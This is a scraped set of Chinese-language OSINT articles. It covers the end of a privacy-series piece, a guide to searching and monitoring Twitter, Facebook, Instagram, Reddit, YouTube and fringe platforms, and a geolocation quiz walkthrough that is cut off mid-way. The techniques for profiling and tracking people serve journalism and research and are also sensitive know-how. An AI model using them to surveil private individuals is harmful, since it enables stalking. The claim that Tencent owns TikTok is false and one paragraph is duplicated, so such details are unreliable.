⚠同样，使用开源情报的防御功能 —— 通过搜索您自己的电子邮件地址或网址来运行 Maltego，看看您自己的隐藏效果如何？追踪者可以挖掘到关于您的什么样的联系？更进一步，尝试搜索您的电话号码，看看它是如何链接到您的真实身份的？

⚠清除掉你发现的任何踪迹。继续强调我们在“完美隐私”中展示的思考方式：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

就是这样！希望这个强大的工具既能帮助您获取进攻的胜利，也能同时帮您防御被任何追踪者挖掘到致命的线索。

开源情报就是这样一种武器：攻防皆可用 —— 你和你的对手谁先抢得先机，谁就能取得胜利。我们当然希望胜利者是正义。好运！○

广告

原文

社交网站上进行新闻收集和监视的基本指南 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年9月2日存档】精准且全面地收集信息是调查研究和监视热点的关键。社交媒体这个信息金矿应该被充分利用。本文将总结针对社交媒体的信息收集的基本技巧和方法。

社交媒体很好，使您可以查找信息源、监视对话、了解行为、跟踪事件、以及发现影响社区的问题。

但是，您必须首先知道想要的东西在哪里能找到，何时以及如何在线观看。

本文将重点介绍新闻采集（主动搜索）和监视跟踪（被动搜索）中最好的 *免费* 工具和技术；还将研究跨平台的最佳实践和应用程序，以便您可以有效地展示最有用的内容以进行报告和研究。

验证找到的信息和来源是否真实也非常关键，您可以参见我们的 列表-3 “让它民主” 版块中介绍的验证技巧。

如今每个人都可以收听实时发生的数百万次对话，这就是搜索关键字最重要的地方—— 用于讨论主题或事件的术语、短语或标签，可以帮助您确定哪些内容可能是报道的好来源。

对于硬新闻，相关的来源和关键字可能更明显。调查者需要了解社区领袖、领域专家、政治家、慈善机构、学者、影响力人物、活动家团体、目击者、名人，商业领袖和紧急服务等。

关键词构成了在线新闻采集的核心，是否能准确抓住关键词，将意味着您是否可以获得想要的内容。

当谈到小众话题时，可能更难获得关键词。但确定一些更具体的关键词可以帮助您确定更多的来源，创造一个新来源和新关键词的反馈循

环，跨平台捕捉，可以让您在短时间内迅速上手。

来源的类型和相关的关键词在每个主题中都是不一样的，但基本的办法不变。

👌不要错过：关键字查询工具

- keywordtool.io
- keyword.io
- semscoop.com
- keywordtool.net
- app.kparser.com
- mykeyworder.com
- serpstat.com
- keywordsheeter.com

——搜索——

「图」

说到搜索，人们会首先想到谷歌。它的确是全球范围内使用最广泛的搜索引擎：占市场份额90%，但它仍不是全部，作为调查人员您应该知道，您说需求的信息最有可能从哪里获得。

- 不要错过《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

1、汇总消息

「图」

新技术经常令人兴奋，但是，有一些非常古老的技术由于高度实用，生命力非常顽强；当这些古老的技术与现代技术相结合时，它们是任何开源情报调查武器库中的有用部分。

👌首先必须强调布尔运算符。因为它是最简单的且最强大的工具之一—— 使用逻辑。在下面看到我们曾经对布尔搜索的演示和介绍：

- 《一个搜索统治一切：调查用心而非技术》

布尔搜索非常简单，就是以下5种：

- AND：返回包含所有指定关键词的结果
- OR：返回带有任何指定关键词的结果
- NOT：返回没有指定关键词的结果
- “ ”：返回具有引号内包含的确切短语的结果
- ( )：将括号内的术语分组以使用多个运算符阐明搜索字符串

记住并熟练使用上述5种操作方法是您在网络上寻求信息的基础。

比如您搜索 *disinformation OR misinformation OR “fake news”*，这将返回上述3个词中任何一个相关内容的列表；用 AND 替代它们（必须总是大写）搜索引擎只会返回包含所有这些搜索词的结果。

在查询过程中您可以组合任意数量的布尔运算符。

如果您正在查找气候变化否认者背后的资金来源的报告，可以这样 *“climate change deniers” OR “climate change denial” OR “climate denial”) AND (lobbying OR “dark money” OR funding*。

如果在谷歌上搜索您还可以多用一些额外的选项，以进一步缩减结果范围。其中最强大的却总是被忽略的工具就是日期搜索。

在下拉菜单中选择自定义范围，您可以按照时间过滤返回的内容：只包括一天、某周、某个月的页面，或者任何您想要的时间窗口。

利用谷歌高级搜索的力量，将显著细化您的搜索结果，更容易找到精准的信息。

比如您正在寻找不受监管的比特币交易所的信息，您可以选择确定一系列专门报道加密货币的网站，将这些网站的域名和搜索一起使用。例如 您知道 coindesk.com 报道数字货币，下面这样就可以得到一个报道数字货币的类似网站清单：

```
related:coindesk.com
```

高级谷歌搜索的真正力量来自多个搜索运算符的组合。比如 site:

```
site:coindesk.com “unregulated exchange” OR
bitcoin
```

还是比特币的例子，如果您想从 related:coindesk.com 找到的多个网站上查找内容，那么就这样：

```
"unregulated exchange" AND bitcoin
site:coindesk.com OR site:bitcointalk.org
```

👌这些仅仅是最简单的样本，尽管如此它们已经足够能说明白关键词和逻辑的创造力如何帮助您寻求到最需要的内容。您可以更快速地精简您的在线研究和信息追踪。

- 不要错过，这里是基本运算符汇总《攻防皆可用：GoogleDorking 高级运算符完整列表》

但请一直记得，谷歌不是能找到一切的地方，对于您的调查内容来说，您需要及时想到最佳的搜索引擎。比如对于中国的国内信息，百度也许更丰富；对于东欧和俄罗斯的信息，Yandex 是最佳选择。如果您的调查内容比较敏感，您应该选取那些不会追踪您的私密搜索引擎。

2、跟踪信息流

「图」

建立监测系统是个好主意。是研究或调查操作的重要组成部分，帮助您随时了解网络和社交媒体上出现的新内容和相关内容。

Google有多种选择 —— GoogleAlerts 会在网络上发现的新内容（每天一次或每周一次）滚动发送通知。您可以使用布尔运算符和高级搜索功能的结合来构建和完善您的 Alerts。

例如，如果您想跟踪与英国退欧或鲍里斯·约翰逊有关的新内容，但仅跟踪特定英国新闻机构发布的信息，则可以设置成以下这样：

GoogleTrends 也能做到这点，比较少有人知道，该服务隐藏在其订阅功能中。尽管它不如 GoogleAlerts 更及时，它仅允许您每周或每月一次接收关键字搜索的更新，但该服务仍会为您可能正在调查或报告的主题提供趋势反馈。

—— Twitter ——

「图」

Twitter 是供记者探索的最简单的社交媒体平台之一，它使用多种工具来扫描持续不断的信息流。

它的易用性也是新闻记者过分依赖该平台的原因，因此请确保它是您监视重大新闻或相关对话的众多社交网络之一。

👉 不要错过我们对 **Twitter** 情报挖掘技巧和工具的介绍：

- 《深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）》
- 《深挖推特：如何从推文中提取准确的元数据？》
- 《如何使用 Maltego 监测推特上的政府信息战》
- 《深挖推特：提供技巧、工具和平台》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 更多内容参见：列表-5 “开源情报”

1、信息汇总

「图」

Twitter 是众所周知的以多种语言发布新闻的首选平台。尽管普通用户的数量少于 Facebook 和 Instagram，但其简单的界面、角色限制以及按时间顺序组织时间线的选项使它非常适合实时的突发信息。

关键词一定要尽可能准确。作为调查人员，他们往往会最先想到自己准备在报告标题中使用的词语，但那可能不容易帮您找到详尽内容。请记住，在社交媒体上人们通常使用口语、宣泄式的、咒骂的，而非书面语言。

这里有一个指南，是在突发新闻情况下选择关键字的最佳方法，但是要记住的最重要的事情之一是，第一人称。受事件影响的人更可能自我介绍。旁观的评论者则不是。

👉牢记这一点，对参加抗议活动或其他政治事件的人的有效搜索大概是这样：

```
(I OR me OR my OR we OR our OR us OR "just saw" OR just seen) AND (coup OR demonstration OR protests OR enough)
```

不要忘了推特的高级搜索选项，它为您提供了一个简单的界面，可以进行非常具体的查询，例如在特定时间段内仅搜索来自特定帐户的推文，或者包含特定类型的内容，例如视频或链接。

☞ 我们介绍过 TweetDeck 是最简单最有效的导航方式之一，您可以并排显示无限数量的列，其中包含来自 Twitter 列表的推文、搜索字符串、特点地理位置和特定帐户或活动，并实时更新。

您可以按任何方式组织这些列，并且可以使用许多高级搜索选项作为过滤器包含在每个列中，以更好地缩小搜索结果的范围。

例如，如果您要跟踪加利福尼亚州的大麻法规，则可以创建一个单独的列来搜索 #californiacannabis 标签，而另一列可能包含更高级的搜索，比如：

```
(marijuana OR cannabis) AND (california OR cali OR
ca) AND (government OR legislature OR law OR laws)
```

单击搜索列右上角的过滤器图标将打开一组新的下拉菜单，以更好地优化搜索结果。

👌 Tweetbeaver是另一个动态研究工具，有效地为您提供了广泛的 Twitter 功能，例如在两个帐户之间查找共同的朋友或共同话题的能力，以及下载用户的关注者列表的能力等。

您可以创建新的 Twitter 列表，也可以订阅其他人创建的公共列表。

因此，如果您涉及南美的气候变化，则可以决定创建一份涵盖该地区主题的非政府组织、活动家和新闻工作者的列表，以确保您掌握相关的最新信息。

您可以将它们设为公开或私有。如果是公开的，其他人（例如您的合作者）也可以关注您的列表。

☞ 不要错过 **Twitter List** 搜索引擎（当然这个搜不到那种被设置为私密的 lists）：

- jump.sh
- bit.ly/2rutgq2

⚠ 请记得，如果您的lists是设置为公开的，那么被添加进入的人将收到通知。因此，如果您希望在监视过程中保持匿名或不希望您的消息

源知道您正在关注他们，建议将列表设为私有。

不幸的是，Twitter 没有 Twitter 列表目录，但是查找相关列表的最简单方法之一就是使用**Google**的高级搜索运算符。

输入您的关键字，然后 site:twitter.com/*/lists

结果将显示标题中具有所选关键字的所有公开列表，然后您可以订阅这些列表。

查找 Twitter 列表的另一个有用技巧是识别一个好的来源，然后查看它们放置在哪些列表上。只需将 “ / **memberships**” 添加到特定用户的**URL**即可。

例如，如果您想要一个有关纽约紧急服务的 Twitter 列表，可以从纽约消防局开始：

`twitter.com/FDNY/memberships`

👌 另一个工具是 Scoutzen。您可以搜索列表，并按订户号和成员（列表中有多少个帐户）显示最受欢迎的结果，这可以很好地了解列表的有用性，然后扫描结果以查找要订阅的列表。

2、跟踪信息流

「图」

在 TweetDeck 建立搜索和列表之后，就可以跟踪目标的活动了。

例如，如果您要跟踪大选，则可以在 TweetDeck 中设置一系列不同的列，不仅跟踪官员和权威人士，而且还跟踪整个频谱中的激进主义者和选民，从而使您在一个屏幕上就能对一个国家的政治前景有一个全面的了解。

TweetDeck 提供了多种方法来简化您的提要，包括一系列过滤器。您可以将 Feed 设置为仅包含具有一定数量的转发或点赞的内容。您还可以按地理位置或语言过滤信息流。或者，您也许可能想查看包含图像或视频的推文。

您还可以设置通知，以便新出现的每条相关新推文都会发出声音或弹出桌面，这取决于您如何配置提示。

—— Facebook and Instagram ——

「图」

在2019年6月，Facebook 杀死了图谱搜索，并有效地杀死了所有涌现出来的利用它的开源情报工具，从而否认了所有将其用于调查工作的人的输出。

而且，Facebook 继续改变 Graph Search 的工作方式，阻碍了许多工具和了解新系统的工作方式的途径。在下面看到具体介绍。

- 《Facebook 正在令真相挖掘事业陷入困境》

这是一个最近出现的重大案例。👌由此您应该意识到，尽管某些工具仍然存在，但它们的位置可能比较脆弱，并且完全取决于构建它们的社区的辛勤工作。

- 不要错过 《搜人、照片、视频、位置 …… 大全：新的FB"图谱搜索"替代方案—— 尤其强调防御》

这就是为什么我们采取了 "新生情报工具" 系列，目前已有18集，目标是将当前最有效的工具和技巧提供给您，一切都是动态的，调查人员应该随机应变。在下面回顾过往内容：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来》
- 《新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪》
- 《新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频》
- 《去模糊化、挖人际关系、自动社交工程攻击、监视信息战：新生情报工具（8）》
- 《实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军

刀：新生情报工具（9）》
- 《根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）》
- 《实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）》
- 《种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12）》
- 《社交媒体情报、追踪电邮电话号码、挖抖音、搜网络摄像头……：新生情报工具（13）》
- 《挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查 ……：新生情报工具（14）》
- 《挖 Telegram 群组、搜脸、搜人、蜂窝塔、网络摄像头、物联网、黑客新闻 ……：新生情报工具（15）》
- 《搜电影、书、开放课程、Twitterlists、GPS、挖Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）》
- 《反向面部识别、实时开源情报、推特可疑账户、网络摄像头地图、挖坟 ……新生情报工具（17）》
- 《深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）》

目前 Facebook 依旧有很多过滤器，您可以按日期和标记位置以及媒体类型（例如帖子、照片、视频、直播等）来缩小搜索过滤范围。

您还可以使用高级 Google 搜索来增强搜索 Facebook 的结果。

假设您正在调查反移民团体，并想找到反对移民的 Facebook 页面和组织，可以设置以下搜索：

```
site:facebook.com/pages “stop immigration”
```

如果您想显示 Facebook 群组而不是页面，那么就这样：

```
site:facebook.com/groups “stop immigration”
```

Instagram 的搜索功能可能很杂乱，不按特定顺序返回帐户和主题标签，因此最好根据现有任务使用高级 **Google** 搜索、和 **Picpanzee.com** 之类的第三方应用程序或两者的某种组合。

👌 Picpanzee 提供了一种更简洁更清晰的方式在 Instagram 上搜索目标人，并在单独的列中提供了相关主题标签的内容。

例如，搜索颇具影响力的阿根廷记者和评论员 Jorge Lanata，将返回以下内容：

👌 如果您要搜索特定种类的人或帐户，则可以使用诸如 searchmybio 之类的工具，该工具可让您在帐户简介中搜索关键字。对于关键字，建议您使用 Google 高级搜索。例如，如果您正在寻找英国退欧党账户，那么就这样：

```
inurl:instagram.com/p/ "brexit party
```

跟踪信息流

「图」

👌 跟踪 Facebook 和 Instagram 帐户列表的最佳工具是 CrowdTangle，它是 Facebook 拥有的一个平台，对记者免费。

您将被要求通过 Facebook 进行访问，但是您可以在它支持的三个平台（Facebook，Instagram 和 Reddit）中设置仪表板，并在 Facebook 中构建相关页面和群组的列表，Instagram 的公共帐户以及 Reddit 的子书签。

您可以从CSV文件手动导入列表，如果知道 URL，可以添加单个页面，或者在 CrowdTangle 中搜索已经在其数据库中登录的页面。

无论您是在跟踪选举还是在挖掘关于热点问题的虚假信息，CrowdTangle 的 “保存搜索” 功能都可以方便您在 Facebook 和 Instagram 上查找页面、群组和帐户，其中出现了您的特定关键字、关键短语和主题标签。

所有相关结果都将显示在摘要中，唯一的警告是它将仅返回数据库中已有页面的结果。

CrowdTangle 中的列表会产生大量的信息，因此 CrowdTangle 根据时间、互动总数以及帖子的执行情况（相比该页面的平均水平），为用户提供了许多导航的选项。

对于 Facebook，您可以使用 Facebook 用户与帖子互动时可以采取的不同反应类型，进一步优化结果。

如果您要监视虚假信息，那些信息通常很容易让人动容，那么就从列表中查看 ‘angry’ or ‘love’ 反应最多的帖子，可能会产生不同的且更

有用的结果。

建立列表并保存搜索后，CrowdTangle 会提供多种通知选项，包括摘要和热点通报。

如果您要报道即将发生的事件，例如超级碗，并且需要更接近实际情况，可以使用 CrowdTangle 的热点通报来获取有关帖子的实时通知。当其中一个帐户的帖子达到一定的热门传播的门槛时，该通报将触发并通过电子邮件或 Slack 送达。

—— Reddit ——

「图」

Reddit 是世界上最大的社交新闻聚合器和讨论板之一。它本身被称为“互联网的首页”，是在线讨论和具有潜在新闻价值的资料的汇整地。

1、信息汇总

「图」

Reddit 由与特定主题相关的不同子 Reddit 组成，例如 r/HongKong, r/sports, or r/Worldnews.

要查找与您的调查目标相关的内容，您可以使用顶部导航栏中的搜索功能来浏览 Reddit 的所有帖子，以查找关键术语。例如，搜索香港，将为您提供热门社区或子目录以及包括香港关键字的热门帖子：

👆与 Google 和 Twitter 相似，Reddit 也具有一系列搜索运算符，可用于指定和缩小搜索结果，包括布尔运算符。

因此，假如您想查找包含BBC内容的帖子，则可以搜索 site:bbc.com。您还可以通过导航到 https://www.reddit.com/subreddits/search 查找特定的 subreddits。

您还可以在结果上设置过滤器，例如按受欢迎程度对内容进行排序，也可以设置查看特定时间范围内的内容。

2、跟踪信息流

「图」

👆 CrowdTangle 适用于 Reddit 以及 Facebook 和 Instagram，您可以建立 subreddits 列表以相同的方式观看。因此，假如您正在寻找有关政治的最新文章，那么可以设置各种与政治有联系的 subreddits 清单，/r/antifascistsofreddit, /r/progressive, and /r/conservative.

自定义列表后，您可以设置通知，以获取例如最近24小时内热门帖子的摘要，发送到您的电子邮件中。

👆如果您无权访问 CrowdTangle，也可以通过将目标 subreddits 链接到RSS阅读器来跟踪它们。如果您涉及欧洲政治，则可能要注意 subreddit r / europe，在这种情况下，您可以在URL末尾添加.rss，如下所示：

```
[[https://www.reddit.com/r/europe/.rss|https://
www.reddit.com/r/europe/.rss]]
```

并将其添加到您的 RSS feed 阅读器，例如 Feedly。

最后，TrackTrackdd.com 之类的工具可让您监视整个 Reddit 中的某些关键字，尽管它仅对前两个免费。

—— 网站 ——

「图」

尽管当今的大多数在线辩论和主要讨论都是通过社交媒体进行的，但这些活动通常是对博客或网站上的文章或其他材料的回应。

无论您是在处理突发新闻还是在等待政府机构发布的新数据集来补充您的调查，掌握最新信息与对任何追踪调查来说都很重要。

您可以通过持续扫描列表和搜索结果或疯狂刷新浏览器来监视这些网站，但是，建议使用RSS阅读器和通知系统，以使您更容易保持最新状态。

跟踪信息流

「图」

RSS 是一种在一个汇总的 Feed 中监视多个网站的便捷方法。有很多RSS阅读器，其中 Feedly 可以推荐。设置帐户后，您可以添加新内

容，以类似于 Twitter 或 CrowdTangle 列表的方式创建感兴趣的网站或博客列表。

添加后，将显示新帖子。使用该界面每天监控一次或两次输出真的很容易，以查看自上次检查以来已发布的新文章。

有时，您可能只是想查看网页更新，而不是寻找新的完整文章或帖子，👆这就是 Klaxon 可选的地方。

由 Marshall Project 开发并免费提供给公众，Klaxon 会扫描公开网页的特定部分，如果有更改将通过电子邮件或 Slack 通知您。

您可以将 Klaxon 配置为每10分钟、每隔几小时、或每隔几天扫描站点。这完全取决于您的需求。

如果您要监视特定的网页或页面的某些部分，例如技术公司的隐私政策，则可以将 **Klaxon** 的超强功能与 **Wayback Machine** 的“更改”功能结合使用，从而并排比较相同网址的不同版本，以查明文档中发生更改的确切位置。

—— YouTube ——

「图」

每分钟都有数百小时的视频上传到该平台，YouTube 代表了世界上最大的信息库之一。

许多第三方 YouTube 服务需要付费，但是的确有一些完全免费的搜索和跟踪平台信息流的方法。

1、信息汇总

「图」

YouTube 的搜索过滤器是您查找所需视频时最好的朋友。

按下搜索栏下方的 “过滤器” 按钮将提供更多选项，使您可以按上传日期、结果类型、视频时长或特定功能来微调结果，然后以不同的方式对结果进行排序。

2、跟踪信息流

「图」

整理好相关 YouTube 频道的目录后，您可以将其添加到 Feedly 中，以实时获取从这些频道发布的新视频以及您也关注的任何博客或网站的最新 Feed。

有时特定的 YouTube 频道不会出现在 Feedly 搜索功能中。一种解决方法是订阅您 YouTube 帐户中感兴趣的频道，导航到订阅管理器，然后导出它们。

然后，您可以通过访问 https://feedly.com/i/cortex 将 OPML 文件（由订阅管理器生成）直接导入到 Feedly 中。

上传到 Feedly 之后，您可以将其分类以适合您正在跟踪和报告的特定主题。

然后，您可以打开 Feedly，从最新到最旧的列表对内容进行组织，以清楚地查看最新内容，也可以将 Feedly 与其他基于 Web 的服务进行同步，例如 If This Then That（IFTTT），以便在新内容输入您的Feed时立即将通知发送到您的手机。

然后，您可以打开 Feedly，从最新到最旧的列表对内容进行组织，以清楚地查看最新内容，也可以将 Feedly 与其他基于 Web 的服务进行同步，例如 If This Then That（IFTTT），以便在新内容输入您的Feed时立即将通知发送到您的手机。

—— 其他平台 ——

「图」

大型社交媒体公司（Facebook / 包括 Instagram 、Twitter、Reddit、YouTube 等都是全球内容和沟通的主要推动力。但重要的是不要忘记还有其他平台，例如 Snapchat，TikTok，4chan，Gab等等，其中一些平台已成为极端主义者或边缘群体的首选消息传递中心。

这里是其中一些应用程序和平台的简要概述。封闭的消息传递应用程序（如WhatsApp，WeChat 和 Discord）可以在将来单独讨论。

1、Snapchat

Snapchat 允许用户彼此发送短文本消息或视频剪辑，并将某些剪辑公

开发布为 “stories”。 Snapchat 现在拥有超过2亿用户，它正在公开发布一些 stories 供搜索。

Snapchat 在2017年推出了 Snap Map24，在热图中显示了公开发布的材料的位置，但未显示发布该材料的用户。

具有新闻价值的镜头偶尔会发布到地图上，尽管几乎不可能与上传者联系起来，它倾向于将新闻和社交互动分开。

2、TikTok

TikTok 是一款社交视频应用程序，中国网络巨头腾讯所有，深受青少年欢迎。

它成为了2018年全球下载量第四大的应用，超过了 Instagram 和 Snapchat，用户可以在其中录制自己表演自己喜欢的歌曲的视频。

从那时起，TikTok 已经发展成为许多不同meme和主题的中心。到2018年末，它被描述为具有 “纳粹主义问题” 和 “仇恨” 的雷区，特别是在印度。

由于其用户量足够大，对 **TikTok** 的开源情报调查如今是一个热门，您可以在下面看到一些演示技巧：

- 《你能从TikTok（抖音）中挖掘到哪些情报线索？》
- 《挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查 ……：新生情报工具（14）》
- 《种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12）》
- 《挖掘抖音中的线索：开源情报调查思路》

3、4chan/8chan

多年来，诸如 4chan 和 8chan 之类的留言板因成为极端主义、暴力和阴谋论的温床而声名狼藉。恶作剧通常起源于这些留言板，然后才在其他社交媒体平台上被放大。

它们是监视新闻报道的好地方，但请注意，您可能会遇到令人不安的内容。 （在2019年8月上旬，8chan 从可公开访问的网络上删除了）

4、Gab

Gab 是一个社交媒体网站，其功能与 Twitter 非常接近，随着被禁止使用 Twitter 的用户不断迁移到该平台，该平台在美国已经与极右翼组织密切相关。

于是如果您想要调查极右翼类似的组织，这里是个有效的地方。

5、Bitchute

Bitchute 是一个在很多方面类似于 YouTube 的视频托管网站。但是与 YouTube 不同，Bitchute 的创建是为了避免其他平台上制定的内容监管规则。

它首先强调 “言论自由”。 YouTube 上已被禁止或取消的许多频道基本都会迁移到 Bitchute。

6、Brighteon

Brighteon（以前称为 Real.Video）是另一个视频托管网站，以没有审查和拥护言论自由而感到自豪。

7、MeWe

MeWe 是一个类似于 Facebook 的社交网站，但其建立对用户隐私的坚定承诺。尽管比 Facebook 小得多，但它的受欢迎程度一直在上升，尤其是考虑到近年来在 Facebook 上目睹的隐私漏洞问题如此之多。

8、VK

VKontakte，通常称为“VK”或 “ Russian Facebook”，是一个受欢迎的俄罗斯社交网络平台，拥有超过5亿个人帐户。

顾名思义，该平台在外观和功能上都与 Facebook 极为相似：群组、公共页面、新闻提要和直接消息传递等功能都可以在深蓝色主题网站上找到。

这里的绝大多数用户都是俄罗斯人，但VK的最新发展使其在很多东欧国家中占主导地位，而在中国和西欧部分地区则少有人使用。

最后

「图」

就是这样！本文是关于社交媒体信息跟踪和调查的基本技巧汇总，它着眼于帮助您快速找到想要的信息。如前文所述，对信息的验证和分析，将是另一个单独的议题，我们曾经有过很多介绍 见列表-3 “让它民主”，以及列表-5 “开源情报”。

👌准确充分地提取信息是第一步；社交媒体是信息金矿，您需要有自己熟练的方式在这里找到最想要的内容。希望这篇文章的总结能帮到您。〇

原文

神探应该拥有很棒的直觉：侦探挑战小游戏演示追踪 - iYouPort

开源情报-每个人都可用的武器

直觉的可靠性与知识面的大小密切相关，与您在日常中的观察和记忆能力也密切相关

「图」

「图」

您能说出您所居住的城市的建筑有什么特点吗？颜色、风格、高度、布局都是什么样的？其他城市呢？您去过一次的地方、或者看过照片和视频的城市？

很多人很难说清楚。因为平日没有注意观察过。我们在“超强记忆力”系列中介绍的诸多练习和测试中很多都是在强调观察能力，观察是记忆的基础，记忆是直觉的来源。

也许没有哪个开源情报培训计划会建议您仅凭直觉就得出结论。这不是坏事，因为调查人员得出的任何结论都必须得到客观证据的支持。

但是，任何有经验的研究人员将始终严重依赖于直觉，即使他们没有意识到这一点。原因很简单，专业人士的直觉是可以很强大的。

不到一秒钟内大脑就会根据以前的经验进行许多无意识的计算，以便快速做出决定。直觉不仅是无意识的反应，就像 Malcolm Gladwell 所说的那样，“不加思考地思考”。无视自己对某些事物的直觉是愚蠢的。

对于开源情报调查也是如此。

在本案例的侦探挑战演示中，nixintel 就采取了捕捉直觉的方法：首先判断该地点在东欧，完全是基于对照片外观的感觉。

你也会这样做的 —— 如果一张照片中出现了糖葫芦和红灯笼，基本不会有人认为那有可能是北非或南美，对吗？

这只是一个极为简单的类比。而在实际操纵中，直觉必须与广博的知识面密切相关，因为您的调查目标经常不会与您同一个城市。

以下是 nixintel 的演示，在这里看到原文《Where In The World? Global and Local Identifiers – Quiztime 12th Sept 2019》

全球与本地 —— 从大到小

「图」

「图」

题目就是上面这张照片。这是一个很有挑战性的测试题目：其目标不仅在于要找到拍摄照片的具体位置，而且还要找出是从哪层建筑物拍摄到的照片。

并且没有什么特别明显的迹象可以显示出它是在哪里被拍摄的，更不用说哪个城市或建筑物了。

背景细节太模糊，无法用传统方法进行裁剪和反向图像搜索，前景中的椅子和桌子也并不是很独特。

那么从哪里开始呢？nixintel 的直觉显示这是在东欧，尽管无法解释原因。事后看来，这一直觉完全是因为那个混凝土高层建筑物。它与西欧的任何地方都不像，而且植被和房屋对于亚洲或非洲来说也都不适合。

还记得上一次的侦探挑战中介绍的思考方式技巧吗？《空荡荡的蓝天上掠过一架飞机……你能知道地理位置吗？- 史上最难的侦探挑战》没错：从大到小。本案例中就采取了类似的方法。

nixintel 使用 “全球” 和 “本地” 的概念来代替“大”和“小”。全球线索可能会形象地告诉您这一位置可能在哪；一旦使用全球线索来找到大概的区域，本地线索就可以帮您找到精确的位置。

「图」

「图」

如上图，绿框中的项目被归类为“全球”指标 —— 如果可以识别它们，然后将它们放在一起，大致就能显示出这是哪个城市或城镇。

红色框中的项目是“本地”指标：它们的独特性或突出性不足以帮助您在全球范围内找到位置，但是，如果可以使用全球指标找到正确的近似区域，那么就可以将本地指标用于正确的区域内。

以下是一个摘要：

全球指标 ——

1）带有红色和白色相间的单层巴士。具体说它的下面是红色，其他地方都是白色。

2）一组独特的高层建筑物，比周围的建筑物大得多。其中一个看起来像是黄色的。

3）看起来像绿色的高速公路标志指向出口。似乎显示一位数的道路编号。

本地指标 ——

1）再次考虑高速公路标志。显示此位置会在高速公路旁，可能在出口处。

2）一个奇怪的白色篷状屋顶。

3）桌子和椅子。这可能是最“本地”的标识了，仅对验证最终的精确位置有用。

因此，此位置必须符合以下条件：

- 这个城市必须拥有红白相间的那种巴士
- 这座城市的主要特征将是一座高大的黄色建筑
- 黄色的高楼将在目标位置范围内
- 该位置靠近可能只有一位数字的高速公路
- 在该位置旁边，将有一个奇怪的白色帐篷状屋顶
- 建筑物内将有一个咖啡馆或餐厅，其椅子和桌子看起来像照片中那样
- 还有直觉显示可能是在东欧，尽管目前还没有真正的客观理由确定这点

就是这样。下面逐一梳理这些线索。请注意，在梳理之前您并不知道其中哪个线索是最关键的，虽然一些经验显示公交车的外观是重要线索，但您需要有心理准备，因为经验会遭遇例外。

公共汽车

从公共汽车开始，因为经验显示这将是找到国家和城市的最佳机会。

根据直觉，首先需要将重点放在东欧，所以搜索方法是使用 Google 图片并搜索 **country AND red and white bus**。有点粗糙，但有效。

返回的结果首先是波兰。这里有一些红色和白色的巴士，但它们很旧了，看起来不像图中的那辆。

「图」

「图」

下一个返回是斯洛伐克。看起来很像，就是只有下面是红色，其他地方都是白色。无法确切判断，于是把斯洛伐克列入“可能”列表。

再下一个是捷克共和国。同样，图中的公交车并不多，但其中一张照片确实与众不同。点击它后打开了很多类似的照片，显示布拉格的电车和公共汽车也有红色和白色的涂层，很像图片中的那样。

「图」

「图」

有些沮丧。只搜索了三个国家/地区的公交车，就已经有两个有可能的匹配了，这说明杂音很大，或者说这个线索并不够标志。如果最终在另外十个国家中都找到十个匹配项那该怎么办？

☞那就打个赌，把目标从国家转移到城市。如果结果证明错了，那就再回到国家层面。

目标转向捷克共和国和斯洛伐克的十个最大城市。然后再次使用了类似的 Google 图片搜索，只是这次换成 **city AND bus**。

大多数城市的返回并不多，但 Bratislava, Brno, 和 Prague 看上去都像是在使用红色和白色相间的公共汽车。

如果要在这三个可能的城市之间进行区分会非常麻烦，尤其是还有很多其他欧洲城市甚至都没有看过。于是现在的要点就是排除法。

用高速公路标志消除了 Brno 的可能性。因为该标志似乎显示的是一位数的高速公路号。而在 Brno，仅2号高速公路的一小部分是个位数。通过谷歌地图 3D视图快速检查后，找不到与该位置类似的任何区域。

Bratislava 也有相同的高速公路（2），但也找不到与正确位置类似的东西。那就还剩下 Prague 了，但 Prague 被0、1、2、4、6和7号高速公路环绕，所有这些都符合预期。

「图」

「图」

在这一点上花了很长时间只是在 Google Maps 3D视图中环顾城市。这是一种非常低效的查找位置的方法，尤其是考虑到可能不在正确的国家/地区中。继续下去不是个事。

识别高层建筑

☞转移注意力集中在 Prague，因为3D试图显示它比 Bratislava 拥有更多的高层建筑。如果结果证明错了也没关系，始终可以返回去重新查找其他可能性。

